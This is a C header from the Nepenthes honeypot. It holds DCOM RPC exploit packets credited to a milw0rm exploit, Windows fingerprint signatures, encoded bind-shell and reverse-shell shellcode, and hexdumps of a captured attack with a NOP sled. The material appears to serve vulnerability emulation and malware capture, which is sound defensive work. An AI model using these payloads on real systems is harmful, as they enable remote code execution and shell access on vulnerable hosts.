Logo Search packages:      
Sourcecode: nepenthes version File versions  Download package

dcom-shellcodes.h

/********************************************************************************
 *                              Nepenthes
 *                        - finest collection -
 *
 *
 *
 * Copyright (C) 2005  Paul Baecher & Markus Koetter
 * 
 * This program is free software; you can redistribute it and/or
 * modify it under the terms of the GNU General Public License
 * as published by the Free Software Foundation; either version 2
 * of the License, or (at your option) any later version.
 * 
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 * GNU General Public License for more details.
 * 
 * You should have received a copy of the GNU General Public License
 * along with this program; if not, write to the Free Software
 * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301, USA.
 * 
 * 
 *             contact nepenthesdev@users.sourceforge.net  
 *
 *******************************************************************************/

 /* $Id: dcom-shellcodes.h 1646 2005-07-14 16:53:03Z common $ */

// ripped from http://www.milw0rm.com/id.php?id=76
// default dcom exploit

/* xfocus start */

// ripped from http://www.milw0rm.com/id.php?id=76
// default dcom exploit

/* xfocus start */

unsigned char dcom_bindstr[] = {
0x05,0x00,0x0B,0x03,0x10,0x00,0x00,0x00,0x48,0x00,0x00,0x00,0x01,0x00,0x00,0x00
,0xD0,0x16,0xD0,0x16,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x01,0x00
,0x80,0xBD,0xA8,0xAF,0x8A,0x7D,0xC9,0x11,0xBE,0xF4,0x08,0x00,0x2B,0x10,0x29,0x89
,0x01,0x00,0x00,0x00,0x04,0x5D,0x88,0x8A,0xEB,0x1C,0xC9,0x11,0x9F,0xE8,0x08,0x00
,0x2B,0x10,0x48,0x60,0x02,0x00,0x00,0x00 };


unsigned char dcom2_bindstr[] = {
0x05,0x00,0x0B,0x03,0x10,0x00,0x00,0x00,0x48,0x00,0x00,0x00,0x7F,0x00,0x00,0x00
,0xD0,0x16,0xD0,0x16,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x01,0x00
,0xa0,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46
,0x00,0x00,0x00,0x00,0x04,0x5D,0x88,0x8A,0xEB,0x1C,0xC9,0x11,0x9F,0xE8,0x08,0x00
,0x2B,0x10,0x48,0x60,0x02,0x00,0x00,0x00
};



// version check request
unsigned char rpcfp_inqifids[]= {
 0x05,0x00,0x00,0x03,0x10,0x00,0x00,0x00,0x18,0x00,0x00,0x00,0x01,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
};

// version check reply
char w2kuuid_sig[]={
 0xB0,0x01,0x52,0x97,0xCA,0x59,0xD0,0x11,0xA8,0xD5,0x00,0xA0,0xC9,0x0D,0x80,0x51
};

char wxpuuid_sig[]={
 0x26,0xB5,0x55,0x1D,0x37,0xC1,0xC5,0x46,0xAB,0x79,0x63,0x8F,0x2A,0x68,0xE8,0x69
};

unsigned char dcom_request1[]={
0x05,0x00,0x00,0x03,0x10,0x00,0x00,0x00,0xE8,0x03
,0x00,0x00,0xE5,0x00,0x00,0x00,0xD0,0x03,0x00,0x00,0x01,0x00,0x04,0x00,0x05,0x00
,0x06,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x32,0x24,0x58,0xFD,0xCC,0x45
,0x64,0x49,0xB0,0x70,0xDD,0xAE,0x74,0x2C,0x96,0xD2,0x60,0x5E,0x0D,0x00,0x01,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x70,0x5E,0x0D,0x00,0x02,0x00,0x00,0x00,0x7C,0x5E
,0x0D,0x00,0x00,0x00,0x00,0x00,0x10,0x00,0x00,0x00,0x80,0x96,0xF1,0xF1,0x2A,0x4D
,0xCE,0x11,0xA6,0x6A,0x00,0x20,0xAF,0x6E,0x72,0xF4,0x0C,0x00,0x00,0x00,0x4D,0x41
,0x52,0x42,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x0D,0xF0,0xAD,0xBA,0x00,0x00
,0x00,0x00,0xA8,0xF4,0x0B,0x00,0x60,0x03,0x00,0x00,0x60,0x03,0x00,0x00,0x4D,0x45
,0x4F,0x57,0x04,0x00,0x00,0x00,0xA2,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00
,0x00,0x00,0x00,0x00,0x00,0x46,0x38,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00
,0x00,0x00,0x00,0x00,0x00,0x46,0x00,0x00,0x00,0x00,0x30,0x03,0x00,0x00,0x28,0x03
,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0xC8,0x00
,0x00,0x00,0x4D,0x45,0x4F,0x57,0x28,0x03,0x00,0x00,0xD8,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x02,0x00,0x00,0x00,0x07,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xC4,0x28,0xCD,0x00,0x64,0x29
,0xCD,0x00,0x00,0x00,0x00,0x00,0x07,0x00,0x00,0x00,0xB9,0x01,0x00,0x00,0x00,0x00
,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xAB,0x01,0x00,0x00,0x00,0x00
,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xA5,0x01,0x00,0x00,0x00,0x00
,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xA6,0x01,0x00,0x00,0x00,0x00
,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xA4,0x01,0x00,0x00,0x00,0x00
,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xAD,0x01,0x00,0x00,0x00,0x00
,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xAA,0x01,0x00,0x00,0x00,0x00
,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x07,0x00,0x00,0x00,0x60,0x00
,0x00,0x00,0x58,0x00,0x00,0x00,0x90,0x00,0x00,0x00,0x40,0x00,0x00,0x00,0x20,0x00
,0x00,0x00,0x78,0x00,0x00,0x00,0x30,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x10
,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x50,0x00,0x00,0x00,0x4F,0xB6,0x88,0x20,0xFF,0xFF
,0xFF,0xFF,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x10
,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x48,0x00,0x00,0x00,0x07,0x00,0x66,0x00,0x06,0x09
,0x02,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x10,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x78,0x19,0x0C,0x00,0x58,0x00,0x00,0x00,0x05,0x00,0x06,0x00,0x01,0x00
,0x00,0x00,0x70,0xD8,0x98,0x93,0x98,0x4F,0xD2,0x11,0xA9,0x3D,0xBE,0x57,0xB2,0x00
,0x00,0x00,0x32,0x00,0x31,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x80,0x00
,0x00,0x00,0x0D,0xF0,0xAD,0xBA,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x18,0x43,0x14,0x00,0x00,0x00,0x00,0x00,0x60,0x00
,0x00,0x00,0x60,0x00,0x00,0x00,0x4D,0x45,0x4F,0x57,0x04,0x00,0x00,0x00,0xC0,0x01
,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x3B,0x03
,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x00,0x00
,0x00,0x00,0x30,0x00,0x00,0x00,0x01,0x00,0x01,0x00,0x81,0xC5,0x17,0x03,0x80,0x0E
,0xE9,0x4A,0x99,0x99,0xF1,0x8A,0x50,0x6F,0x7A,0x85,0x02,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x30,0x00
,0x00,0x00,0x78,0x00,0x6E,0x00,0x00,0x00,0x00,0x00,0xD8,0xDA,0x0D,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x20,0x2F,0x0C,0x00,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x03,0x00,0x00,0x00,0x46,0x00
,0x58,0x00,0x00,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x10,0x00
,0x00,0x00,0x30,0x00,0x2E,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x68,0x00
,0x00,0x00,0x0E,0x00,0xFF,0xFF,0x68,0x8B,0x0B,0x00,0x02,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00};




unsigned char sol2k_request[]=
"\x47\x45\x54\x20\x2f\x4e\x55\x4c\x4c\x2e\x70\x72\x69\x6e\x74\x65\x72\x20"
"\x48\x54\x54\x50\x2f\x31\x2e\x30\x0d\x0a";

//FlashSky/Benjurry and, H D Moore's code
unsigned char sol2k_shell[]=
"\x42\x65\x61\x76\x75\x68\x3a\x20\x90\x90\x90\x90\x90\x90\x90\x90" // 
"\x90\x90\x90\x90\x90\x90\x90\xeb\x19\x5e\x31\xc9\x81\xe9\x89\xff"
"\xff\xff\x81\x36\x80\xbf\x32\x94\x81\xee\xfc\xff\xff\xff\xe2\xf2"
"\xeb\x05\xe8\xe2\xff\xff\xff\x03\x53\x06\x1f\x74\x57\x75\x95\x80"
"\xbf\xbb\x92\x7f\x89\x5a\x1a\xce\xb1\xde\x7c\xe1\xbe\x32\x94\x09"
"\xf9\x3a\x6b\xb6\xd7\x9f\x4d\x85\x71\xda\xc6\x81\xbf\x32\x1d\xc6"
"\xb3\x5a\xf8\xec\xbf\x32\xfc\xb3\x8d\x1c\xf0\xe8\xc8\x41\xa6\xdf"
"\xeb\xcd\xc2\x88\x36\x74\x90\x7f\x89\x5a\xe6\x7e\x0c\x24\x7c\xad"
"\xbe\x32\x94\x09\xf9\x22\x6b\xb6\xd7\x4c\x4c\x62\xcc\xda\x8a\x81"
"\xbf\x32\x1d\xc6\xab\xcd\xe2\x84\xd7\xf9\x79\x7c\x84\xda\x9a\x81"
"\xbf\x32\x1d\xc6\xa7\xcd\xe2\x84\xd7\xeb\x9d\x75\x12\xda\x6a\x80"
"\xbf\x32\x1d\xc6\xa3\xcd\xe2\x84\xd7\x96\x8e\xf0\x78\xda\x7a\x80"
"\xbf\x32\x1d\xc6\x9f\xcd\xe2\x84\xd7\x96\x39\xae\x56\xda\x4a\x80"
"\xbf\x32\x1d\xc6\x9b\xcd\xe2\x84\xd7\xd7\xdd\x06\xf6\xda\x5a\x80"
"\xbf\x32\x1d\xc6\x97\xcd\xe2\x84\xd7\xd5\xed\x46\xc6\xda\x2a\x80"
"\xbf\x32\x1d\xc6\x93\x01\x6b\x01\x53\xa2\x95\x80\xbf\x66\xfc\x81"
"\xbe\x32\x94\x7f\xe9\x2a\xc4\xd0\xef\x62\xd4\xd0\xff\x62\x6b\xd6"
"\xa3\xb9\x4c\xd7\xe8\x5a\x96\x80\xae\x6e\x1f\x4c\xd5\x24\xc5\xd3"
"\x40\x64\xb4\xd7\xec\xcd\xc2\xa4\xe8\x63\xc7\x7f\xe9\x1a\x1f\x50" // 7 is port
"\xd7\x57\xec\xe5\xbf\x5a\xf7\xed\xdb\x1c\x1d\xe6\x8f\xb1\x78\xd4"
"\x32\x0e\xb0\xb3\x7f\x01\x5d\x03\x7e\x27\x3f\x62\x42\xf4\xd0\xa4"
"\xaf\x76\x6a\xc4\x9b\x0f\x1d\xd4\x9b\x7a\x1d\xd4\x9b\x7e\x1d\xd4"
"\x9b\x62\x19\xc4\x9b\x22\xc0\xd0\xee\x63\xc5\xea\xbe\x63\xc5\x7f"
"\xc9\x02\xc5\x7f\xe9\x22\x1f\x4c\xd5\xcd\x6b\xb1\x40\x64\x98\x0b"
"\x77\x65\x6b\xd6\x93\xcd\xc2\x94\xea\x64\xf0\x21\x8f\x32\x94\x80"
"\x3a\xf2\xec\x8c\x34\x72\x98\x0b\xcf\x2e\x39\x0b\xd7\x3a\x7f\x89"
"\x34\x72\xa0\x0b\x17\x8a\x94\x80\xbf\xb9\x51\xde\xe2\xf0\x90\x80"
"\xec\x67\xc2\xd7\x34\x5e\xb0\x98\x34\x77\xa8\x0b\xeb\x37\xec\x83"
"\x6a\xb9\xde\x98\x34\x68\xb4\x83\x62\xd1\xa6\xc9\x34\x06\x1f\x83"
"\x4a\x01\x6b\x7c\x8c\xf2\x38\xba\x7b\x46\x93\x41\x70\x3f\x97\x78"
"\x54\xc0\xaf\xfc\x9b\x26\xe1\x61\x34\x68\xb0\x83\x62\x54\x1f\x8c"
"\xf4\xb9\xce\x9c\xbc\xef\x1f\x84\x34\x31\x51\x6b\xbd\x01\x54\x0b"
"\x6a\x6d\xca\xdd\xe4\xf0\x90\x80\x2f\xa2\x04\x0d\x0a";





unsigned char revers_shell[]=
"\x42\x65\x61\x76\x75\x68\x3a\x20\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\xeb\x03\x5d\xeb\x05\xe8\xf8\xff\xff\xff\x83\xc5\x15\x90\x90\x90"
"\x8b\xc5\x33\xc9\x66\xb9\xd7\x02\x50\x80\x30\x95\x40\xe2\xfa\x2d\x95\x95"
"\x64\xe2\x14\xad\xd8\xcf\x05\x95\xe1\x96\xdd\x7e\x60\x7d\x95\x95\x95\x95"
"\xc8\x1e\x40\x14\x7f\x9a\x6b\x6a\x6a\x1e\x4d\x1e\xe6\xa9\x96\x66\x1e\xe3"
"\xed\x96\x66\x1e\xeb\xb5\x96\x6e\x1e\xdb\x81\xa6\x78\xc3\xc2\xc4\x1e\xaa"
"\x96\x6e\x1e\x67\x2c\x9b\x95\x95\x95\x66\x33\xe1\x9d\xcc\xca\x16\x52\x91"
"\xd0\x77\x72\xcc\xca\xcb\x1e\x58\x1e\xd3\xb1\x96\x56\x44\x74\x96\x54\xa6"
"\x5c\xf3\x1e\x9d\x1e\xd3\x89\x96\x56\x54\x74\x97\x96\x54\x1e\x95\x96\x56"
"\x1e\x67\x1e\x6b\x1e\x45\x2c\x9e\x95\x95\x95\x7d\xe1\x94\x95\x95\xa6\x55"
"\x39\x10\x55\xe0\x6c\xc7\xc3\x6a\xc2\x41\xcf\x1e\x4d\x2c\x93\x95\x95\x95"
"\x7d\xce\x94\x95\x95\x52\xd2\xf1\x99\x95\x95\x95\x52\xd2\xfd\x95\x95\x95"
"\x95\x52\xd2\xf9\x94\x95\x95\x95\xff\x95\x18\xd2\xf1\xc5\x18\xd2\x85\xc5"
"\x18\xd2\x81\xc5\x6a\xc2\x55\xff\x95\x18\xd2\xf1\xc5\x18\xd2\x8d\xc5\x18"
"\xd2\x89\xc5\x6a\xc2\x55\x52\xd2\xb5\xd1\x95\x95\x95\x18\xd2\xb5\xc5\x6a"
"\xc2\x51\x1e\xd2\x85\x1c\xd2\xc9\x1c\xd2\xf5\x1e\xd2\x89\x1c\xd2\xcd\x14"
"\xda\xd9\x94\x94\x95\x95\xf3\x52\xd2\xc5\x95\x95\x18\xd2\xe5\xc5\x18\xd2"
"\xb5\xc5\xa6\x55\xc5\xc5\xc5\xff\x94\xc5\xc5\x7d\x95\x95\x95\x95\xc8\x14"
"\x78\xd5\x6b\x6a\x6a\xc0\xc5\x6a\xc2\x5d\x6a\xe2\x85\x6a\xc2\x71\x6a\xe2"
"\x89\x6a\xc2\x71\xfd\x95\x91\x95\x95\xff\xd5\x6a\xc2\x45\x1e\x7d\xc5\xfd"
"\x94\x94\x95\x95\x6a\xc2\x7d\x10\x55\x9a\x10\x3f\x95\x95\x95\xa6\x55\xc5"
"\xd5\xc5\xd5\xc5\x6a\xc2\x79\x16\x6d\x6a\x9a\x11\x02\x95\x95\x95\x1e\x4d"
"\xf3\x52\x92\x97\x95\xf3\x52\xd2\x97\x8e\xac\x52\xd2\x91\x5e\x38\x4c\xb3"
"\xff\x85\x18\x92\xc5\xc6\x6a\xc2\x61\xff\xa7\x6a\xc2\x49\xa6\x5c\xc4\xc3"
"\xc4\xc4\xc4\x6a\xe2\x81\x6a\xc2\x59\x10\x55\xe1\xf5\x05\x05\x05\x05\x15"
"\xab\x95\xe1\xba\x05\x05\x05\x05\xff\x95\xc3\xfd\x95\x91\x95\x95\xc0\x6a"
"\xe2\x81\x6a\xc2\x4d\x10\x55\xe1\xd5\x05\x05\x05\x05\xff\x95\x6a\xa3\xc0"
"\xc6\x6a\xc2\x6d\x16\x6d\x6a\xe1\xbb\x05\x05\x05\x05\x7e\x27\xff\x95\xfd"
"\x95\x91\x95\x95\xc0\xc6\x6a\xc2\x69\x10\x55\xe9\x8d\x05\x05\x05\x05\xe1"
"\x09\xff\x95\xc3\xc5\xc0\x6a\xe2\x8d\x6a\xc2\x41\xff\xa7\x6a\xc2\x49\x7e"
"\x1f\xc6\x6a\xc2\x65\xff\x95\x6a\xc2\x75\xa6\x55\x39\x10\x55\xe0\x6c\xc4"
"\xc7\xc3\xc6\x6a\x47\xcf\xcc\x3e\x77\x7b\x56\xd2\xf0\xe1\xc5\xe7\xfa\xf6"
"\xd4\xf1\xf1\xe7\xf0\xe6\xe6\x95\xd9\xfa\xf4\xf1\xd9\xfc\xf7\xe7\xf4\xe7"
"\xec\xd4\x95\xd6\xe7\xf0\xf4\xe1\xf0\xc5\xfc\xe5\xf0\x95\xd2\xf0\xe1\xc6"
"\xe1\xf4\xe7\xe1\xe0\xe5\xdc\xfb\xf3\xfa\xd4\x95\xd6\xe7\xf0\xf4\xe1\xf0"
"\xc5\xe7\xfa\xf6\xf0\xe6\xe6\xd4\x95\xc5\xf0\xf0\xfe\xdb\xf4\xf8\xf0\xf1"
"\xc5\xfc\xe5\xf0\x95\xd2\xf9\xfa\xf7\xf4\xf9\xd4\xf9\xf9\xfa\xf6\x95\xc2"
"\xe7\xfc\xe1\xf0\xd3\xfc\xf9\xf0\x95\xc7\xf0\xf4\xf1\xd3\xfc\xf9\xf0\x95"
"\xc6\xf9\xf0\xf0\xe5\x95\xd0\xed\xfc\xe1\xc5\xe7\xfa\xf6\xf0\xe6\xe6\x95"
"\xd6\xf9\xfa\xe6\xf0\xdd\xf4\xfb\xf1\xf9\xf0\x95\xc2\xc6\xda\xd6\xde\xa6"
"\xa7\x95\xc2\xc6\xd4\xc6\xe1\xf4\xe7\xe1\xe0\xe5\x95\xe6\xfa\xf6\xfe\xf0"
"\xe1\x95\xf6\xf9\xfa\xe6\xf0\xe6\xfa\xf6\xfe\xf0\xe1\x95\xf6\xfa\xfb\xfb"
"\xf0\xf6\xe1\x95\xe6\xf0\xfb\xf1\x95\xe7\xf0\xf6\xe3\x95\xf6\xf8\xf1\xbb"
"\xf0\xed\xf0\x95\x0d\x0a";
/* end xfocus */



/*
=------------------[ hexdump(0x52bfdc10 , 0x00000048) ]-------------------=
0x0000  05 00 0b 03 10 00 00 00  48 00 00 00 00 00 00 00  ........ H.......
0x0010  d0 16 d0 16 00 00 00 00  01 00 00 00 00 00 01 00  ........ ........
0x0020  b8 4a 9f 4d 1c 7d cf 11  86 1e 00 20 af 6e 7c 57  .J.M.}.. ... .n|W
0x0030  00 00 00 00 04 5d 88 8a  eb 1c c9 11 9f e8 08 00  .....].. ........
0x0040  2b 10 48 60 02 00 00 00                           +.H`....
=-------------------------------------------------------------------------=
*/

unsigned char unknown_req1[] = {
 0x05,0x00,0x0b,0x03,0x10,0x00,0x00,0x00,0x48,0x00,0x00,0x00,0x00,0x00,0x00,0x00
,0xd0,0x16,0xd0,0x16,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x01,0x00
,0xb8,0x4a,0x9f,0x4d,0x1c,0x7d,0xcf,0x11,0x86,0x1e,0x00,0x20,0xaf,0x6e,0x7c,0x57
,0x00,0x00,0x00,0x00,0x04,0x5d,0x88,0x8a,0xeb,0x1c,0xc9,0x11,0x9f,0xe8,0x08,0x00
,0x2b,0x10,0x48,0x60,0x02,0x00,0x00,0x00 
};


/*
=------------------[ hexdump(0x52bfe100 , 0x000005a0) ]-------------------=
0x0000  05 00 00 03 10 00 00 00  8a 06 00 00 00 00 00 00  ........ ........
0x0010  72 06 00 00 00 00 00 00  05 00 01 00 00 00 00 00  r....... ........
0x0020  00 00 00 00 58 7d 75 75  40 eb c6 47 bc 71 4e a7  ....X}uu @..G.qN.
0x0030  1c d0 b5 97 00 00 00 00  00 00 00 00 00 00 00 00  ........ ........
0x0040  00 00 00 00 00 00 00 00  00 00 09 00 00 03 00 00  ........ ........
0x0050  00 00 00 00 00 03 00 00  5c 00 5c 00 90 90 90 90  ........ \.\.....
0x0060  90 90 90 90 90 90 90 90  90 90 90 90 90 90 90 90  ........ ........
0x0070  90 90 90 90 90 90 90 90  90 90 90 90 eb 10 eb 19  ........ ........
0x0080  9f 75 18 00 23 37 f3 77  eb e0 fd 7f 90 90 90 90  .u..#7.w ........
0x0090  90 90 90 90 90 90 90 90  90 90 90 90 90 90 90 90  ........ ........
0x00a0  90 90 90 90 90 90 90 90  90 90 90 90 90 90 90 90  ........ ........
0x00b0  90 90 90 90 90 90 90 90  90 90 90 90 90 90 90 90  ........ ........
0x00c0  90 90 90 90 90 90 90 90  90 90 90 90 90 90 90 90  ........ ........
0x00d0  90 90 90 90 90 90 90 90  90 90 90 90 90 90 90 90  ........ ........
0x00e0  90 90 90 90 eb 04 ff ff  ff ff 90 90 90 90 90 90  ........ ........
0x00f0  90 90 eb 04 eb 04 90 90  90 90 eb 04 ff ff ff ff  ........ ........
0x0100  90 90 90 90 90 90 90 90  90 90 90 90 90 90 90 90  ........ ........
0x0110  90 90 90 90 90 90 90 90  90 90 90 90 90 90 90 90  ........ ........
0x0120  90 90 90 90 90 90 90 90  90 90 90 90 90 90 90 90  ........ ........
0x0130  90 90 90 90 90 90 90 90  90 90 90 90 90 90 90 90  ........ ........
0x0140  90 90 90 90 90 90 90 90  90 90 90 90 90 90 90 90  ........ ........
0x0150  90 90 90 90 90 90 90 90  90 90 90 90 90 90 90 90  ........ ........
0x0160  90 90 90 90 90 90 90 90  90 90 90 90 90 90 90 90  ........ ........
0x0170  90 90 90 90 90 90 90 90  90 90 90 90 90 90 90 90  ........ ........
0x0180  90 90 90 90 90 90 90 90  90 90 90 90 90 90 90 90  ........ ........
0x0190  90 90 90 90 90 90 90 90  90 90 90 90 90 90 90 90  ........ ........
0x01a0  90 90 90 90 90 90 90 90  90 90 90 90 90 90 90 90  ........ ........
0x01b0  90 90 90 90 90 90 90 90  90 90 90 90 90 90 90 90  ........ ........
0x01c0  90 90 90 90 90 90 90 90  90 90 90 90 90 90 90 90  ........ ........
0x01d0  90 90 90 90 90 90 90 90  90 90 90 90 90 90 90 90  ........ ........
0x01e0  90 90 90 90 90 90 90 90  90 90 90 90 90 90 90 90  ........ ........
0x01f0  90 90 90 90 90 90 90 90  90 90 90 90 90 90 90 90  ........ ........
0x0200  90 90 90 90 90 90 90 90  90 90 90 90 90 90 90 90  ........ ........
0x0210  90 90 90 90 90 90 90 90  90 90 90 90 90 90 90 90  ........ ........
0x0220  90 90 90 90 90 90 90 90  90 90 90 90 90 90 90 90  ........ ........
0x0230  90 90 90 90 90 90 90 90  90 90 90 90 90 90 90 90  ........ ........
0x0240  90 90 90 90 90 90 90 90  90 90 90 90 90 90 90 90  ........ ........
0x0250  90 90 90 90 90 90 90 90  90 90 90 90 90 90 90 90  ........ ........
0x0260  90 90 90 90 90 90 90 90  90 90 90 90 90 90 90 90  ........ ........
0x0270  90 90 90 90 90 90 90 90  90 90 90 90 90 90 90 90  ........ ........
0x0280  90 90 90 90 90 90 90 90  90 90 90 90 90 90 90 90  ........ ........
0x0290  90 90 90 90 90 90 90 90  90 90 90 90 90 90 90 90  ........ ........
0x02a0  90 90 90 90 90 90 90 90  90 90 90 90 90 90 90 90  ........ ........
0x02b0  90 90 90 90 90 90 90 90  90 90 90 90 90 90 90 90  ........ ........
0x02c0  90 90 90 90 90 90 90 90  90 90 90 90 90 90 90 90  ........ ........
0x02d0  90 90 90 90 90 90 90 90  90 90 90 90 90 90 90 90  ........ ........
0x02e0  90 90 90 90 90 90 90 90  90 90 90 90 90 90 90 90  ........ ........
0x02f0  90 90 90 90 90 90 90 90  90 90 90 90 90 90 90 90  ........ ........
0x0300  90 90 90 90 90 90 90 90  90 90 90 90 90 90 90 90  ........ ........
0x0310  90 90 90 90 90 90 90 90  90 90 90 90 90 90 90 90  ........ ........
0x0320  90 90 90 90 90 90 90 90  90 90 90 90 90 90 90 90  ........ ........
0x0330  90 90 90 90 90 90 90 90  90 90 90 90 90 90 90 90  ........ ........
0x0340  90 90 90 90 90 90 90 90  90 90 90 90 90 90 90 90  ........ ........
0x0350  90 90 90 90 90 90 90 90  90 90 90 90 90 90 90 90  ........ ........
0x0360  90 90 90 90 90 90 90 90  90 90 90 90 90 90 90 90  ........ ........
0x0370  90 90 90 90 90 90 90 90  90 90 90 90 90 90 90 90  ........ ........
0x0380  90 90 90 90 90 90 90 90  90 90 90 90 90 90 90 90  ........ ........
0x0390  90 90 90 90 90 90 90 90  90 90 90 90 90 90 90 90  ........ ........
0x03a0  90 90 90 90 90 90 90 90  90 90 90 90 90 90 90 90  ........ ........
0x03b0  90 90 90 90 90 90 90 90  90 90 90 90 90 90 90 90  ........ ........
0x03c0  90 90 90 90 90 90 90 90  90 90 90 90 90 90 90 90  ........ ........
0x03d0  90 90 90 90 90 90 90 90  90 90 90 90 90 90 90 90  ........ ........
0x03e0  90 90 90 90 90 90 90 90  90 90 90 90 90 90 90 90  ........ ........
0x03f0  90 90 90 90 90 90 90 90  90 90 90 90 90 90 90 90  ........ ........
0x0400  90 90 90 90 90 90 90 90  90 90 90 90 90 90 90 90  ........ ........
0x0410  90 90 90 90 90 90 90 90  eb 15 b9 8b e6 13 41 81  ........ ......A.
0x0420  f1 39 e6 13 41 5e 80 74  31 ff 1b e2 f9 eb 05 e8  .9..A^.t 1.......
0x0430  e6 ff ff ff 28 c0 7f 90  58 2b 90 5b 17 90 6b 07  ....(... X+.[..k.
0x0440  b6 90 63 13 f3 5e 1b 1b  1b 48 4d 90 44 27 90 47  ..c..^.. .HM.D'.G
0x0450  20 63 18 c4 48 90 40 3b  18 c4 48 98 d8 1f 90 28   c..H.@; ..H....(
0x0460  18 ec 28 d2 b7 29 d3 da  da 1e 9f db 6e ed 30 d1  ..(..).. ....n.0.
0x0470  6e f2 43 30 c3 ca f0 45  18 45 3f 18 c4 7d 90 10  n.C0...E .E?..}..
0x0480  90 45 07 18 c4 90 1f 90  18 dc 45 40 e4 fb 45 73  .E...... ..E@..Es
0x0490  28 29 1b 1b 73 6c 68 29  44 4f a1 89 75 1f 9f e4  ()..slh) DO..u...
0x04a0  cd 90 e3 9a f7 1b 19 1b  1b 90 f7 48 71 1a 71 19  ........ ...Hq.q.
0x04b0  a1 98 48 98 1b e4 cd 48  48 73 4f 79 e9 45 73 19  ..H....H HsOy.Es.
0x04c0  1b a9 70 90 cf 90 c3 71  0b 49 48 a1 78 2b 7b 41  ..p....q .IH.x+{A
0x04d0  e4 cd 4b af 19 4b 4e 48  a1 1b 43 7b f9 e4 cd a4  ..K..KNH ..C{....
0x04e0  12 c0 fd 5a e4 fe 74 7a  77 6f 6c 63 6d 69 63 68  ...Z..tz wolcmich
0x04f0  79 62 69 66 72 71 6e 6b  78 6a 69 6a 76 77 70 6c  ybifrqnk xjijvwpl
0x0500  65 65 70 75 61 6a 7a 68  71 6e 73 75 67 78 6e 6b  eepuajzh qnsugxnk
0x0510  77 62 75 76 6b 77 6a 73  69 66 64 6f 74 77 6c 70  wbuvkwjs ifdotwlp
0x0520  62 7a 65 7a 67 72 74 66  70 67 68 6d 6c 61 6f 72  bzezgrtf pghmlaor
0x0530  65 75 79 61 79 63 64 69  78 61 76 77 68 70 63 74  euyaycdi xavwhpct
0x0540  74 78 63 73 75 61 64 66  6d 6f 61 6b 6f 63 65 66  txcsuadf moakocef
0x0550  67 66 76 6e 69 6f 6d 6a  7a 6f 73 70 73 72 68 6a  gfvniomj zospsrhj
